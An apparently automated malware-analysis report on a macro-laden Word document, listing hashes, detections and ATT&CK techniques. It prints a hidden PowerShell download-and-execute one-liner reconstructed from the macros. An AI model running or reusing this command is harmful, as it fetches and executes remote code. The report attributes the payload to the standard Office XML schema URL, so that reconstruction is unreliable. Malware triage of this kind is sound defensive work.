Office (OLE) / .DOCX malware analysis — malicious · cd068c5d74c95076

MALICIOUS

Office (OLE) / .DOCX

151.1 KB Created: 2020-09-24 10:05:00 Authoring application: Microsoft Office Word

MD5: c353f547a8553d46af676a1c4a11c7ef SHA-1: 6cdf5aec7dd064cd085358f057e823c723ea2719 SHA-256: cd068c5d74c950762065417db06dbb634c48135e990211e3415ffe6fe766046f

240 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The critical ClamAV detection and high-severity heuristics indicate malicious intent. Specifically, the Document_Open macro and CreateObject calls, along with VBA p-code auto-execution, suggest the execution of a PowerShell command. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://schemas.openxmlformats.org/drawingml/2006/main')"', which is designed to download and execute a second-stage payload from the specified URL.

Heuristics 7

ClamAV: Doc.Trojan.Agent-9765752-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Agent-9765752-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `b39e572cf96864edb4f5c39daa3a8388f74111156690860ca53002be67bbf3ff`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	20583 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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